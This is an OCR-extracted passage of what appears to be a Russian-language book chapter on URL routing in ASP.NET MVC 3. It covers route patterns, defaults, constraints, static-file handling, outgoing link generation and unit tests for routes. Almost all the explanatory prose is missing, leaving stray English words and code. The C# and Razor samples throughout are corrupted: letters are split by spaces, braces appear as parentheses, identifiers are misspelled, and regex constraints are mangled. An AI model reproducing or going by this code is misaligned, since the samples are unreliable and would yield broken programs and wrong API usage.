MVC 3 Visual Studio


. MVC Framework:
.
m v c pvameworis,
.

11

URL,

MVC ASP.NET
URL .

, :

URL

h t t p :// m y s i t e ./d e f a u l t .aspx

e :\webroot\default.aspx

h t t p :// m y s i t e .co m / a d m i n / l o g i n .aspx

e :\webroot\admin\login.aspx

h t t p :/ / m y s i t e .com/articles/AnnualReview

!
404.

Web Forms, ASPX


, .
MVC,
,
.
URL MVC ASP.NET .
,
URL .
, URL
.


.
URL ,
. , ,
.
URL. URL, HTML-,
,
(
URL).

284

II. ASP.NET MVC 3


URL,
. ,
URL,
HTML-.


ASP.NET MVC Framework,
ASP.NET, Web
Forms. System.Web,
System.Web.Mvc.
MVC, , Visual Studio
S y s te m .w e b . R o u t in g . .NET 3.5,
. .
MVC Framework,
ASP.NET.
ASP.NET Web Forms
A p p l i e d A S P . N E T in C o n t e x t .


,
. MVC
Internet Application (-) UrlsAndRoutes.
,
.
Global.asax. Visual Studio,
, ( )
. 11.1 Global, asax
( ).

! , Global.asax.cs
Global.asax. Global.asax S olution E xplore r (
) Visual Studio Global.asax.cs.
Global .asax.

11.1. G l o b a l . a s a x . cs
using System. Web . M vc;
using System.Web.Routing;

namespace UrlsAndRoutes {
public class MvcApplication : System.Web.HttpApplication (
protected void Application_Start() {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);

11. URL,
public static void RegisterRoutes(RouteCollection routes)
...

285

}
public static
v o i d R e g i s t e r G l o b a l F i l t e r s (GlobalFilterCoHeCtiOn filters)

filters.Add(new HandleErrorAttribute());
>

Aypiicatlon_start ASP.NET,
. RegisterRoutes.
R o u t e T a b l e .
Routes, RouteCollection.
R egisterRoutes , , ..

. ,
, : URL.

URL
(rou te).
URL, ,
URL, .
URL, ,
. URL (URL pattern),
URL. URL,
URL.
URL SportsStore:
http://mysite./Admin/Index

URL,
. 9, , URL
Index AdminController.
URL . URL
, /.
URL , . 11.1.
Admin, Index.
, ,
.
. URL:
(controller)/{action}

. 11. 1. URL

286

II. ASP.NET MVC 3

URL
URL URL
, .
( { }).
controller action.
- ,
MVC ,
URL URL ,
.
! .

.
, MVC Framework,
controller action.
Web Forms,
.
URL URL,
. ,
URL , . 11.1.

11.1. URL
URL

http ://mysite ./Admin/Index

controller = Admin
action = Index

h t t p :/ / m y s i t e .corn/lndex/Admin

controller = Index
action = Admin

http ://mysite .Com/Apples/Oranges

controller = Apples
action = Oranges

h t t p :/ / m y s i t e .com/Admin

http ://mysite .com/Admin/Index/Soccer

11.1 URL.
URL , URI , .
.
URL . URL
, ,
.

URL. ,
.
,
MVC, URL , ,
URL, .
. 11.1. URL Admin Index
, URL .

11. URL,

287


URL, .
11,2 , R e g isterRoutes G l o b a l .asax
URL .

11.2.
public static void RegisterRoutes(RouteCollection routes)

Route myRoute = new R o u t e ("{controller}/(action)", new MvcRouteHandler());


routes.Add("MyRoute", myRoute);
)

,
URL. MvcRouteHandler.
ASP.NET
, M v c R outeHandler , ASP.NET MVC.
RouteCo l l e c t i o n Add,
.
. , ,
,
. URL
, .


MapRoute, RouteCollection. 11.3 ,
.

11.3. M apR oute


public static void RegisterRoutes(RouteCollection routes)

routes.M a p R o u t e ("MyRoute", "(controller)/ (action)");

}
, ,
MvcRouteHandler. MapRoute
MVC. ASP.NET Web Forms
MapPageRoute, RouteCollection.

: URL
,
URL,
. URL
, - .

, .
.
, ,
.

288

II. ASP.NET MVC 3

: HttpRe q u e s t B a s e ,
HttpContextBase HttpResponseBase (
URL, ). MVC .

, - (mock objects),
:
p r i v a t e jjttpContextBase C r e a t e H t t p C o n t e x t (s t r i n g t a r g e t U r l = null,
s t r i n g h t t p M e t h o d = "GET")
//

M o c k < H t t p R e q u e s t B a s e > m o c k R e q u e s t = n e w M o c k < H t t p R e q u e s t B a s e > ();


m o c k R e q u e st . S e t u p (m => m .A p p R e l a t i v e C u r r e n t E x e c u t i o n F i l e P a t h ) .R e t u r n s ( t a r g e t U r l ) ;

.Setup ( => m .HttpMethod) .Returns (httpMethod) ;


/ /

M o c k < H t t p R e s p o n s e B a s e > m o c k R e s p o n s e = new M o c k < H t t p R e s p o n s e B a s e > ();


m o c k R e s p o n s e .S e t u p (m => m . A p p l y A p p P a t h M o d i f i e r (
I t .I s A n y < s t r i n g > ())) .R e t u r n s < s t r i n g > (s => s) ;
/ /

M o c k < H t t p C o n t e x t B a s e > m o c k C o n t e x t = n e w M o c k < H t t p C o n t e x t B a s e > ();


m o c k C o n t e x t .S e t u p (m => m.Requ e s t ) .R e t u r n s ( m o c k R e q u e s t . O b j e c t ) ;
m o c k C o n t e x t .S e t u p ( m => m . R e s p o n s e ) .R e t u r n s ( m o c k R e s p o n s e .O b j e c t );
//

r eturn m o c k C o n t e x t .O b j e c t ;
)
. URL AppRelativeCurrent
ExecutionFilePath HttpRequestBase, a HttpRequestBase Request
- HttpContextBase.
:

private void TestRouteMatch (string url, string controller, string action, object
r o u t e P r o p e r t i e s = null, s t r i n g h t t p M e t h o d = "GET") {
/ /

R o u t e C o l l e c t i o n r o ut e s = n e w R o u t e C o l l e c t i o n ();
MvcApplication.RegisterRoutes(routes);
/ /

RouteData result = r o u t e s .GetRouteData(CreateHttpContext(url, httpMethod));


/ /

A s s e r t .I s N o t N u l l ( r e s u l t ) ;
A s s e r t .I s T r u e ( T e s t l n c o m i n g R o u t e R e s u l t ( r e s u l t , contro l l e r ,
action, r o u t e P r o p e r t i e s ) );
)
URL,
controller action, object,
, .
, .
HTTR .
, ,
, , TestRouteMatch
TestlncomingRouteResult. .NET,
.
,
MVC.

11. URL,

289

TestlncomingRouteResult:
private bool TestlncomingRouteResult (RouteData routeResult,
string controller, string action, object propertvSet = null)

Func<object, object, bool> valCompare = (vl, v2) => (


return StringComparer.invariantCulturelgnoreCase.Compare(vl, v2) == 0;

);
bool result = valCompare(routeResult.Values["controller"], controller)
&& valCompare(routeResult.Val u e s ["action"], action);
if (propertySet != null) {
PropertyimotJ proplnfo = propertySet.GetType().GetProperties ();
foreach (Propertylnfo pi in proplnfo) (
if (!(routeResult.Values.ContainsKey(pi.Name)
&& valCompare(routeResult.Values[pi.Name],
p i .GetValue(propertySet, null)))) {
result = false;
break;
)
)
)
return result;

}
, URL . ,
URL.
private void TestRouteFail(string url)

//
RouteCollection routes = new RouteCollection();
MvcApplication.RegisterRoutes(routes);
//
RouteData result = routes.GetRouteData(CreateHttpContext(url));
//
As s e r t .IsTrue(result == null | | result.Route == null);

}
TestRouteMatch TestRouteFail Assert,
, . C#
, ,
URL, .
, , 11.3:
[TestMethod]
public void TestlncomingRoutes() {
// URL,
TestRouteMatch("-/Admin/Index", "Admin", "Index");
// ,
TestRouteMatch("~/One/Two", "One", "Two");
// ,
//
TestRouteEail ("-/Admin/Index/Segment") ;
TestRouteFail("-/Admin");

. 4039

290

II. ASP.NET 3

TestRouteMatch URL
URL, controller action
URL. TestRouteFail
, URL, .
URL (~) ASP.NET
Framework URL .
, .
, RegisterRoutes G l o b a l .asax.

, .
URL (h t t p :/ / l o c a l h o s t :< > /),
404 Not Found { ). , URL
, { c o n t r o l l e r } / { a c t i o n }.
URL ~/Home/Index.
, . 11.2.

. 11.2. URL
URL URL controller,
, action, Index. MVC
Framework Index ,
Internet A pplication.
,
URL. , ,
URL MVC.


URL
, URL . URL
~/,
, controller action.
, URL ,
URL . , ,
.
. ,

11. URL,

291

URL . 11.4
, .

11.4.
public static void RegisterRoutes(RouteCollection routes)

routes. MapRoute ("MyRoute", " (controller}/(action) ", n e w { a c t i o n = "Index" ));

}
. 11.4
action , Index.
, , URL. ,
URI. http : //mydomain . e o m / H o m e / Index Home
controller Index action.
, action,
URL. URL
' controller URL
action.
URL h t t p ://myd o m a i n .com/ H o m e Index
.
URL,
,
. 11.5, URL
.

11.5.

public static void RegisterRoutes(RouteCollection routes)
routes.MapRoute("MyRoute", "{controller)/ (action}",
new { controller = "Home", action = "Index" });

}
c o n t r o l l e r action,
, URL ,
(. . 11.2).

11.2. URL

m y d o m a i n .com

controller = Home
action = Index

m y d o m a i n ./Customer

controller = Customer
action = Index

m y d o m a i n .com/Customer/List

controller = Customer
action = List

mydomain.com/Customer/List/All

URL,
.

292

II. ASP.NET MVC 3

URL ,
controller action, URL
Index (. 11.3).

. 11.3. URL

;
,
, . ,
11.5:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch ( ,
"Home", "Index");
TestRouteMatch("'/Customer", "Customer", "Index");
TestRouteMatch("~/Customer/List", "Customer", "List");
TestRouteFail("~/Customer/List/All");

}
, : URL ~ /,
ASP.NET URL .

, / ,
.

URL
URL .
, . ,
URL, URL,
Public:
h t t p ://mydomain./Public/Home/Index

, 11.6.

11.6. URL
puoiic static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("MyRoute", "{controller}/{action}
new { controller = "Home", action = "Index" });
routes.M a p R o u t e ("", "Public/{controller}/ {action}",
new { controller = "Home", action = "Index" });
}

URL URL, ,
Customers.
, controller action.

11. URL,

293

URL, ,
, , , 11.7.

11,7. URL
public static void RegisterRoutes(RouteCollection routes)

r o u t e s . M a p R o u t e , "X{controller}/(action)");
routes.MapRoute("MyRoute", " (controller)/ (action)",
new ( controller = "Home", action = "Index" ));
routes.MapRoute ("", "Public/(controller)/(action)",
new ( controller = "Home", action = "Index" });
)
URL,
X. controller
, X. action . ,
U R L :
h t t p ://mydomain.com/XHome/Index
U R L Index .


RegisterRoutes 11.6
, , ,
RouteCollection. MapRoute
, ,
. , ,
, , ..
.
URL ,
, ,
. ,
.
. , 11.7,
, . , ,
:
routes.MapR o u t e ("MyRoute", "{controller)/ (action)",
new ( controller = "Home", action = "Index" ));
routes.MapRoute("", "X (controller)/ (action}");
, URL ,
, . ,
, . X URL,
- . , URL :
h t t p ://mydomain.com/XHome/Index
, ,
404 - Not Found.
: URL",
. MVC,
, , , URL.

294

II. ASP.NET MVC 3

URL
(alias) URL. ,
URL .
URL.
, Shop,
. 11.8 ,
URL.

11.8. URL
public static void RegisterRoutes(RouteCollection routes)

routes .MapRoute (" ShopSchema" , "Shop/(action) ", new ( controller - "Home" }),. . . .. .

}
URL,
Shop. action URL.
URL controller,
. , -
Shop .
,
.
URL controller action ,
11.9.

11.9.
pu b l i c St a t i c v o i d R e g i s t e r R o u t e s ( R o u t e C o l l e c t i o n routes)

routes.MapRoute("ShopSchema2", "Shop/OldAction",
new { controller = "Home", action = "Index" });
routes.MapRoute("ShopSchema", "Shop/{action}", new ( controller = "Home" });
. . . . ..

)
, ,
. , , ,
. Shop/OldAction , ,
, , .
4 04 Not Found ,
.

:
, URL
. ,
11.8:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch("-/Shop/Index", "Home", "Index");

11. URL,

295


c o n t r o l l e r a c t i o n .
, 11.10.

11.10. URL
p u b l i c static v o i d R e g i s t e r R o u t e s ( R o u t e C o l l e c t i o n routes)

r o u t e s .M a p R o u te ( " M y R o u t e " , " ( c o n t r o l l e r ) / ( a c t i o n ) / {id}",


new ( c o n t r o l l e r = "Home", a c t i o n = " I n d e x " , id = "Defaultld" } ) ;

}
URL c o n t r o l l e r a c tio n ,
id . URL
.
id ,
.
!

. c o n t r o l l e r , a c t i o n a r e a .
,
.


R o u t e D a t a . V a l u e s .
H o m e C o n t r o l l e r C u s t o m V a r i a b l e , 11.11.

11.11.
p u b lic V iew R esult C u sto m V a ria b le

V ie w B a g . C u s t o m V a r i a b l e = R o u t e D a t a . V a l u e s [ " i d " ] ;
return V iew ();

}
URL
V ie w B a g . 11.12
C u s t o m V a r i a b l e . c s h t m l ,
View s/H o m e.

11.12.
@(
V ie w B a g . T i t l e = " C u s t o m V a r i a b l e " ;
)
< h 2 > V a r i a b l e : SV ie w B a g . C u sto m V a ria b le < / h 2 >

URL / H o m e / C u s t o m V a r i a b l e / H e l l o
C u s t o m V a r i a b l e ,
V iew B ag , ,
. 11.4.

296

II. ASP.NET MVC 3

. 11.4.

:

. TestRouteMatch ,
, .
, , 11.10:
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch("~/",* "Home", "Index", new {id = "Defaultld"));
TestRouteMatch("-/Customer", "Customer", "index", new ( id = "Defaultld"

}> ;
TestRouteMatch("-/Customer/List", "Customer", "List", new { id =
"Defaultld" });
TestRouteMatch("~/Customer/List/All", "Customer", "List", new { id =
"All" }) ;
TestRouteFail("~/Customer/List/All/Delete");



R o u t e D a t a . V a l u e s
. .
,
URL, MVC Framework
, URL, . ,
11.8 i d .
C u s t o m V a r i a b l e , ,
11.13.

11.13. URL

public ViewResult CustomVariable(string id) {
ViewBag.CustomVariable = index;
return V i e w ();
)

- URL URL,
11.8, URL
i n d e x . MVC Framework
,
URL .

11. URL,

297

id string, MVC Framework


, URL, , .
id int DateTime, URL,
. ,
.
! MVC Framework
, URL, .NET,
, .
17.

URL
URL ,
. . 11.14
.
U r l P a r a m e t e r .O p t i o n a l (
).

11.14. URL
public static void RegisterRoutes(RouteCollection routes)

routes-MapRoute("MyRoute", "(controller)/ {action}/{id}",


new ( controller = "Home", action = "Index", id = UrlParameter.Optional });
)

URL,
id. . 11.3 , URL.

11.3. URL

URL

mydomain.com

controller = Home
action = Index

m y d o m a i n .com/Customer

controller = Customer
action = Index

m y d o m a i n .com/Customer/List

controller = Customer
action = List

mydomain.com/Customer/List/All

controller = Customer
action = List
id = All

mydomain.com/Customer/List/All/Delete

, i d ,
URL . ,
id null id
.
, ,
. id ,

298

II. ASP.NET MVC 3

,
URL ,
.

,
. ,

#, 11.15.

11.15.
public ViewResult CustomVariable(string id = "Defaultld")

ViewBag.CustomVariable = id;
return V i e w ();
}

: URL
,
URL, ,
RouteData .Values, URL. ,
, URL,
. , 11.14.
[TestMethod]
public void TestlncomingRoutes() {
TestRouteMatch( ,
"Home", "Index");
TestRouteMatch("'/Customer", "Customer", "index");
TestRouteMatch("~/Customer/List", "Customer", "List");
TestRouteMatch("~/Customer/List/All", "Customer", "List", new ( id = "All" ));
TestRouteFail("~/Customer/List/All/Delete");



URL URL.
URL .

(catch-all),
(*), 11.16.

11.16.
public static void RegisterRoutes(RouteCollection routes)

routes.M a p R o u t e ("MyRoute", "{controller)/(action}/ {i d }/ {*catchall}",


new { controller = "Home", action = "Index", id = UrlParameter.Optional });

)
,
, catchall.

11. URL,

299

URL.
c o n t r o l l e r , a c t io n i d . URL
, c a t c h a l l (. . 11.4).

11.4. URL

URL

mydomain. com

c o n t r o l l e r = Home
a c t io n = Index

mydomain. com/Customer

c o n t r o l l e r = Customer
a c t io n = Index

mydomain.com /Customer/List

c o n t r o l l e r = Cuatomer
a c t io n = L i s t

mydomain. com /C ustom er/List/A ll

mydomain. co m / C u sto m er/ L ist/ A ll/ D elete

c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l

mydomain.com/Customer/List/Al1/Delete/Perm

c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l
c a t c h a l l = D e le te
c o n t r o l l e r = Customer
a c t io n = L i s t
id = A l l
c a t c h a l l = Delete/Perm

, URL
, . , ,
, / / .
.

:
.
, , ,
//. ,
/ . ,
, 11.16, URL,
. 11.4:

[TestMethod]
pu b l i c v o i d T e s t l n c o m i n g R o u t e s () {
T e s t R o u t e M a t c h ("-/", "Home", "Index");
T e s t R o u t e M a t c h ( " - / C u s t o m e r " , "Customer", "Index");
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t " , "Customer", "List");
TestRouteMatch("-/Customer/List/All", "Customer", "List", new ( id = "All" });
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t / A l l / D e l e t e " , " C ustomer", "List",
new { id = "All", c a t c h a l l = "Delete" ));
T e s t R o u t e M a t c h ( " - / C u s t o m e r / L i s t / A l l / D e l e t e / P e r m " , "Customer", "List",
new { id = "All", c a t c h a l l = " D e l e t e / P e r m " });
}

300

II. ASP.NET 3


URL , MVC Framework
c o n t r o l l e r . ,
c o n t r o l l e r Home, MVC Framework
H o m eC on troller. ,
H o m eC o n tro lle r , MVC Framework
, . ,
. 11.5.

. 11.5. , -
, ,
MVC,
. ,
, A c c o u n tC o n tr o lle r , ,
.
! , . 11.5,
A d d i t i o n a l C o n t r o l l e r s ,
H o m e C o n tro lle r. ,
URL /. MVC Framework
Hom eControllei-: , A d d it io n a lC o n t r o lle r s .
. . 11.5, MVC Framework
, .

MVC Framework

; 11.17.

11. URL,

301

11.17.
public static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("MyRoute", "(controller}/ (action)/ (id)/ {*catchall)",


new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] {"URLsAndRoutes.Controllers"});

}
.
MVC Framework U R L s A n d R o u t e s .
Controllers . , MVC Framework
.
, , .
MVC Framework
.. , ,
:
.
routes.MapR o u t e ("MyRoute", "{controller}/{action)/{id)/{*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] ( "URLsAndRoutes.Controllers", "AdditionalControllers"));

, . 11.5, MVC Framework


,
. -
,
, ,
11.18.

11.18.

public static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("AddContollerRoute", "Home/{action}/{id}/{*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] { "AdditionalControllers" });
routes.MapRoute("MyRoute", "(controller)/(action)/{i d }/ {*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {] { "URLsAndRoutes.Controllers"});

. 14 ,
, .
, ,
.

MVC Framework
.
, . 11.19
, .

302

II. ASP.NET MVC 3

1 1 .1 9 .
public static void RegisterRoutes(RouteCollection routes)

Route myRoute =
routes.M a p R o u t e ("AddContollerRoute", "Home/(action}/ {id)/ {*catchall)",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] { "AdditionalControllers" });
myR o u t e .DataTokens["UseNamespaceFallback"] = false;
)

M apR o u te R o u te .
,
. ,
R o u te f a l s e U s e N a m e s p a c e F a llb a c k
D a ta T o k e n s . ,
,
14.


, URL

.

, ..
,
URL URL.
.
, URL,
.


, ,
. 11.20 .

11.20.
public static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("MyRoute", " (controller)/ (action)/ {id)/ {*catchall}",


new ( controller = "Home", action = "Index", id = UrlParameter.Optional },
new { controller = "AH.*"},
new [] { "URLsAndRoutes.Controllers"});
)

, M apRoute.
, ,
.
,
URL, c o n t r o l l e r
.

11. URL,

303

! . ,
, URL / ,
c o n t r o l l e r , . ,
c o n t r o l l e r , URL .


,
URL.
|, 11.21.

11.21.
public static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("MyRoute", "{controller)/{action)/(id)/{*catchall)",
new ( controller = "Home", action = "Index", id = UrlParameter.Optional ),
new ( controller* = " . * " , action = "AIndex$ | AAbout$" ) ,
new[] { "URLsAndRoutes.Controllers"));
)

U R L
action, Index About. ,
, action,
, controller. ,
1 1 . 2 1 U R L ,
c o n t r o l l e r action
Index About. , ,
.

HTTP
, U R L ,
HTTP,
11.22.

11.22. HTTP
public static void RegisterRoutes(RouteCollection routes)

routes.MapR o u t e ("MyRoute", "(controller)/(action)/ {id)/ {catchall)",


new ( controller = "Home", action = "Index", id = UrlParameter.Optional ),
new { controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET") },
new[] ( "URLsAndRoutes.Controllers" ));

}
HTTP
. , , , ..
HttpMethodConstraint. httpMethod,
,
.

304

II. ASP.NET MVC 3

! HTTP
, HttpGet HttpPost.
,
, .
,
. ,
HTTP ( PUT DELETE), 14.

HTTP, ,
HttpMethodConstraint.
GET, ,
:
httpMethod = new HttpMethodConstraint("GET", "POST")

},

:
URL,
, URL, ;
, .
, , 11.20:
[T estM eth o d]

public void TestlncomingRoutes () (


r e s i K o u t e M a t c f t " H o m e " , "Index");
TestRouteMatch("-/Home", "Home", "Index");
TestRouteMatch("-/Home/Index", "Home", "Index");
TestRouteMatch("-/Home/About", "Home", "About");
TestRouteMatch("-/Home/About/Myld", "Home", "About", new ( id = "Myld" });
TestRouteMatch("-/Home/About/Myld/More/Segments", "Home", "About",
new (
id = "Myld",
catchall = "More/Segments"

}) ;
TestRouteFail("-/Home/OtherAction");
TestRouteFail("-/Account/Index");
TestRouteFail("-/Account/About");

}

HTTP. HTTP, ,
T e s t R o u t e M a t c h T e s t R o u t e F a i l , ,
, 11.21:
[TestMethod]
public void RegisterRoutesTest

TestRouteMatch("-/", "Home", "Index", null, "GET");


TestRouteFail("-/", "POST");
)
HTTP , GET.

11. URL,

305



, ,
IRouteConstraint. 11.23 ,
(user-agent),
.

11.23.
using System.Web;
using System.Web.Routing;
namespace URLsAndRoutes.Infrastructure {
public class UserAgentConstraint : IRouteConstraint {
private string requiredUserAgent;
public UserAgentConstraint(string agentParam)
requiredUserAgent = agentParam;

}
public bool Match(HttpContextBase httpContext, Route route,
string parameterName, RouteValueDictionary values,
RouteDirection routeDirection) {
return h t t p C o n t e x t .R e q u e s t .U serAgent != null &&

httpContext.Request.UserAgent.Contains(requiredUserAgent);

IRouteConstraint Match,
, .
M a t c h ,
, , ,
URL, , URL .
, U s e r A g e n t
, .
11.24.

11.24.
public static void RegisterRoutes(RouteCollection routes)

routes.M a p R o u t e ("MyRoute", "{controller}/ {action)/ (id}/ {*catchall}",


new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")

},
new[]

{ "URLsAndRoutes.Controllers" });

}
,
, , u s e r - a g e n t I E (
Microsoft).

30

II. ASP.NET MVC 3

! ,

. user- a g e n t
. ,
- .


MVC . , ,
HTML-, JavaScript ..
S t a t i c C o n t e n t . h t m l Con t e n t
MVC. 11.25.

11.25. S t a t i c C o n t e n t . h t m l
<html>
<head><title>Static HTML Content</titleX/head>
<body>This is the static html file (~/Content/StaticContent.html)</body>
</html>


. URL / C o n t e n t /
StaticContent .html, HTML-
(. 11.6).

. 11 .6.

, URL
, .
, .
RouteExi s t i n g F i l e s RouteCollection true
, (. 11.26).

11.26.
public static void RegisterRoutes(RouteCollection routes)

routes.RouteExistingFiles = true;
routes.MapRoute("MyRoute", " {controller}/{action}/ {id}/ {*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = "AH .*", action = "Index IAbout",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")

},
new[]

{ "URLsAndRoutes.Controllers" });

11. URL,

307

RegisterRoutes,
,
. RouteExistingFiles true
URL, ,
11.27.

11.27. , URL
public static void RegisterRoutes(RouteCollection routes)

routes.RouteExistingFiles = true;
routes.MapR o u t e ("DiskFile", "Content/StaticContent.htm l " ,
new {
controller = "Account", action = "LogOn",

},
new {
customConstraint = new UserAgentConstraint("IE")

}) ;
routes.MapRoute("MyRoute", "{controller}/{action}/{id}/{*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = "~ H .*", action = "Index!About",
httpMethod = new HttpMethodConstraint ("GET", "POST"),
customConstraint = new UserAgentConstraint ("IE" )

),
new[]

( "URLsAndRoutes.Controllers" });

)
U R L C o n t e n t / S t a t i c C o n t e n t .html
Log O n Account. ,
, , ,
user-agent IE. ( ,
; -
!)
R o u t e E x i s t i n g F i l e s true,
,
. ,
Internet Explorer Account,
. U R L . 11.7.

. 1 1 .7 .

, ,
, , U R L
U R L .
, / C o n t e n t / S t a t i c C o n t e n t .html
U R L , ( c o ntroller)/ {action}. ,
-

((. ASP.NET MVC 3

308

. , R o u t e E x i s t i n g F i l e s true
. ,
Content HTML- O t h e r S t a t i c C o n t e n t . h t m l
RegisterRoutes , 11.28.

11.28. R e g is t e r R o u te s
public static void RegisterRoutes(RouteCollection routes)

routes.RouteExistingFiles = true;
routes.MapR o u t e ("DiskFile", "Content/StaticContent.html",
new (
controller = "Account", action = "LogOn",

},
new {
customConstraint = new UserAgentConstraint("IE")

)) ;
routes.MapRoute^"MyNewRoute", " {controller}/{action}");
routes.MapRoute("MyRoute", "{controller}/{action}/ {id}/ {*catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")

},
new[]

( "URLsAndRoutes.Controllers" });

}
URL Content/OtherStaticContent .html,
URL, 11.28, Content,
O t h e r S t a t i c C o n t e n t . html.
, URL . ,
, 4 04 Not Found.


R o u t e E x i s t i n g F i l e s ,
, (.. ).
, ,
.
URL
. IgnoreRoute
RouteCollection, 11.29.

11.29. Ig n o re R o u te
public static void RegisterRoutes(RouteCollection routes) {
routes.RouteExistingFiles = true;
routes.MapRoute("DiskFile", "Content/StaticContent.html",
new (
controller = "Account", action = "LogOn",

},
new {
customConstraint = new UserAgentConstraint ("IE")
});

11. URL,

309

routes.IgnoreRoute("Content/{filename}.html");
routes.MapRoute ("", "{controller}/ {action}");
routes.MapRoute("MyRoute", "{controller}/{action}/{id}/{catchall}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional },
new {
controller = ".*", action = "Index|About",
httpMethod = new HttpMethodConstraint("GET", "POST"),
customConstraint = new UserAgentConstraint("IE")

},
n e w [] { "URLsAndRoutes.Controllers" });
}

{filename}
URL. URL
URL, Content,
.html.
I g n o r e R o u t e R o u t e C o l l e c t i o n ,
St o p R o utingHandler,
MvcRouteHandler.
. Ig n o r e R o u t e URL
, ,
. ,
Ig noreRoute . 11.27
RouteExistingFiles,
HTML-.

URL
URL .
URL URL,
,
,
.
URL.

: URL,
URL . ,
, 11.28, :
< href="/Home/About">About this application</a>
HTML- URL-,
URL About .
URL .
. , URL ,
URL.
. , URL
,
URL .
, ,
.

310

(I. ASP.NET MVC 3


,
. R e g i sterRoutes G l o b a l .asax
11.30, Ad d i t i o n alControllers - .

11.30. R e g is t e r R o u te s
public static void RegisterRoutes(RouteCollection routes)

l u u L e s . M a p R o u t e (" M y K o u t e " , " {c o n t r o l l e r }/ {a c t i o n }/ {i d }",

new { controller = "Home", action = "Index", id = UrlParameter.Optional });

URL
URL
H t m l .ActionLink , 11.31.

11.31. A c t io n L in k
@Html.ActionLink("About this application", "About")

ActionLink ,
. HTML-, ActionLink,
. , ,
11.30 ( ,
), HTML-:
< href="/Home/About">About this application</a>

, , :
public static void RegisterRoutes(RouteCollection routes)

routes.MapRoute("NewRoute", "App/Do{action}",
new { controller = "Home" });
routes.MapRoute("MyRoute", "(controller)/(action}/(id)",
new ( controller = "Home", action = "Index", id = UrlParameter.Optional });

}

ActionLink HTML-:
< href="/App/DoAbout">About this application</a>

,
. ,
.

________________ URL
, , URL,
URL. ,
, URL.
RouteCollection,
RegisterRoutes. ,
.

11. URL,

311

, URL,
.
( ),
, , ,
. ( .)
, ,
, , .
, ,
URL. , m y V a r
, ;
routes.MapRoute("MyRoute",
new

( myVar = " t r u e "

" (controller} / { action}",

));

m yV a r ,
.
.

.
: ,
.
URL; .
. URL
. URL,
, h r e f :
< h r e f = " " > A b o u t t h i s

a p p l ic a t io n < / a >

,
. URL ( ),
n u l l , .

. URL
.

Route, , URL.
null, URL.
,
. ,
,
/ .

: URL
URL
U r l H e l p e r . G e n e r a t e U r l ,
, , ,
, , .. ,
URL , 11.29:
[TestMethod]
public void TestOutgoingRoutes() {
//
RouteCollection routes = new RouteCollection() ;

312

II. ASP.NET MVC 3

M v c A p p iie a t io n .R e g is te r R o u t e s (r o u t e s );

Reque3tContext context = new RequestContext(CreateHttpContext(), new RouteData)));


// URL
string result = UrlHelper.GenerateUrl(null, "Index", "Home", null,
routes, context, true);
//
Assert.AreEqual("/", result);

1
URL, , HTML . U r l H e l p e r .GenerateUrl RequestContext,
- HttpContextBase
CreateHttpContext. CreateHttpContext
: URL" .


ActionLink ,
, .
URL, ,
ActionLink,
(. 11.32).
11.32.
A c t io n L in k
@Html .ActionLink("About this application", "About", "MyController")

,
HTML-:
< href="/MyController/About">About this application</a>

! URL

, . , ,
, ,
, .



, . 11.33 .
11.33.
@Html.ActionLink("About this application",

"About", new { id = "MylD" })

id.
, 11.30,
HTML-:
< href="/Home/About/MyID">About this application</a>

11. URL,

313

, URL,
URL .


URL ,
URL
.
.
, :
routes.MapR o u t e ("MyRoute", "{controller}/ {action}/ {color}/ {page}");
URL /Catalog/List/Purple/123
:
@Html.ActionLink("Click m e " , "List", "Catalog", new {page=789}, null)
,
, .. color,
. , .
.
HTML-:
< href="/Catalog/List/Purple/789">Click me</a>
,
URL. color
Purple, URL, .
, .
, ,
,
.
, URL, ,
Html .ActionLink. , :
0Html.ActionLink("Click m e " , "List", "Catalog", new {color="Aqua"}, null)
color, . URL color
, ,
URL, .
.

URL. , ,
, ,
.

,
, URL . ,
:
@Htm l. A c t i o n L i n k ( "A bout
new

{ id

= "M ylD ",

this

application",

m yVariable = "M yValue"

"A bout",
})

HTML-:
<a h r e f = " / H o m e / A b o u t / M y I D ? m y V a r i a b l e = M y V a l u e " > A b o u t

this

a pp lication < /a>

314

II. ASP.NET MVC 3

,
, ,
URL. , ActionLink:
SHtml .ActionLink("About this application", "Index", "Home")

, ,
, 11.27.
HTML-:
< href="/">About this application</a>

,
URL ,
, URL
.

HTML-
URL,
ActionLink, , HTML-
<>. , ,
. 11.34
id CSS- HTML-.

11.34. < >


@Html.ActionLink ("About this application", "Index", "Home", null,
new {id = "myAnchorlD", @class = "myCSSClass"})

, id class,
ActionLink.
null, .
. , class @.
#,
.

A c tionLink HTML-:
< class="myCSSClass" href="/" id="myAnchorID">About this application</a>

URL
, , URL,
A c t i o n L i n k
URL, 11.35.

11.35. URL
@Html.ActionLink("About this application", "Index", "Home",
"https", "myserver.mydomain.com", " myFragmentName",
new { id = "Myld" },
